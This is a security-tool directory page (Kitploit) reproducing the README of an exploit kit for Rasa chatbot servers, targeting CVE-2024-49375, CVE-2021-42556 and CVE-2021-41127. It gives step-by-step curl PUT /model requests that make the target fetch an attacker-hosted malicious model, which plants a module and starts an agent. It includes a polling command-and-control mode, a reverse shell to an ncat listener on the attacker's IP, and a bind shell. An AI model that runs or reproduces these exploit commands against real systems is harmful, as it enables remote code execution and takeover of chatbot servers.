Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Rasa-cve-exp — CVE-2024-49375、CVE-2021-42556、CVE-2021-41127 | Kitploit
Tools/GitHubGitHub/lierbushiwo/rasa-cve-exp
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingCommand and ControlRed TeamingRemote Access ToolPayload Development
GitHublierbushiwo/rasa-cve-exp

Rasa-cve-exp

CVE-2024-49375、CVE-2021-42556、CVE-2021-41127

13 months agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Rasa-cve-exp

CVE-2021-42556

  • server-1.py

Just run it directly

root@kitploit:~
python server-1.py

image-20260604134536291

Arbitrary File Upload

root@kitploit:~
PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage1","wait_time_between_pulls":0}}

image-20260604135046296

Effect as follows:

image-20260604135232815

CVE-2021-41127

  • server-1.py

Default model name: evil_import_model.tar.gz

Malicious model demo

root@kitploit:~
version: "3.1"
intents:
- greet
responses:
  utter_greet:
  - text: "PWNED_BY_CTF"
nlu:
- intent: greet
  examples: |
    - hello
    - hi
rules:
- rule: greet rule
  steps:
  - intent: greet
  - action: utter_greet
Download Tool

Set malicious dialogue rules

Input greet returns PWNED_BY_CTF

root@kitploit:~
PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage2-probe-model","wait_time_between_pulls":0}

image-20260604134831347

Effect as follows

image-20260604140230431

CVE-2024-49375

  • model.py
  • reverse_server.py

model.py modifies specified data inside the archive

Run directly. Default reads model from /model directory, modifies it, and saves to evil_import_model.tar.gz in the current directory.

image-20260604143558105

Specify reverse IP

Default model name: evil_import_model.tar.gz

root@kitploit:~
python reverse_server.py --reverse-host 192.168.244.128

image-20260604140728541

Just send the data in sequence.

Other Exploit Methods

May differ in actual scenarios

  • server-2.py

Three Modes


C2 Mode (HTTP Polling, Recommended)

root@kitploit:~
攻击机                     Rasa容器(target)
  │                            │
  ├─ 启动 server-2.py ─────────┤
  ├─ PUT /model ──→ 下载 pwnmod.py 到 /app/
  ├─ PUT /model ──→ 下载恶意模型 → import pwnmod → agent 启动
  │                            │
  │  ← GET /poll?agent=xxx ───┤  每 3s 轮询
  ├─ /enqueue?cmd=id ─────────┤
  │  ← GET /poll ─────────────┤  拿到命令
  │  ← POST /result ──────────┤  回传结果
  ├─ /last?agent=xxx ──→ 读结果
root@kitploit:~
# 攻击机启动
python server-2.py --mode c2 --c2-base-url http://<攻击机IP>:8000 --port 8000

# 触发 exploit(两步)
curl -X PUT http://<rasa地址>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<攻击机IP>:8000/write-module"}}'

curl -X PUT http://<rasa地址>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<攻击机IP>:8000/model"}}'

# 下发命令
curl "http://<攻击机IP>:8000/enqueue?cmd=id"

# 等 8 秒后读结果(agent 每 3s 轮询 + 执行时间)
curl "http://<攻击机IP>:8000/last?agent=<hostname>"

# 不指定 agent 也行(走通配符)
curl "http://<攻击机IP>:8000/enqueue?cmd=whoami"
curl "http://<攻击机IP>:8000/last"

Reverse Mode (Reverse Shell)

root@kitploit:~
# 1) 攻击机启动监听
ncat -lvnp 4444

# 2) 攻击机启动 server-2.py
python server-2.py --mode reverse --reverse-host <攻击机IP> --reverse-port 4444 --port 8000

# 3) 触发 exploit
curl -X PUT http://<rasa地址>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<攻击机IP>:8000/write-module"}}'

curl -X PUT http://<rasa地址>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<攻击机IP>:8000/model"}}'

# 4) nc 收到 $ 提示符,直接交互

Bind Mode (Forward Shell, Not Commonly Used)

root@kitploit:~
python server-2.py --mode bind --bind-port 4444 --port 8000
# agent 在目标容器内监听 0.0.0.0:4444
# ncat <目标IP> 4444 即可连接

Port/Address Description

ParameterDescription
--port 8000Listening port of server-2.py itself
--c2-base-urlFull base URL for agent polling in C2 mode (must be an address accessible by the container)
--reverse-hostTarget IP for reverse shell
--reverse-portTarget port for reverse shell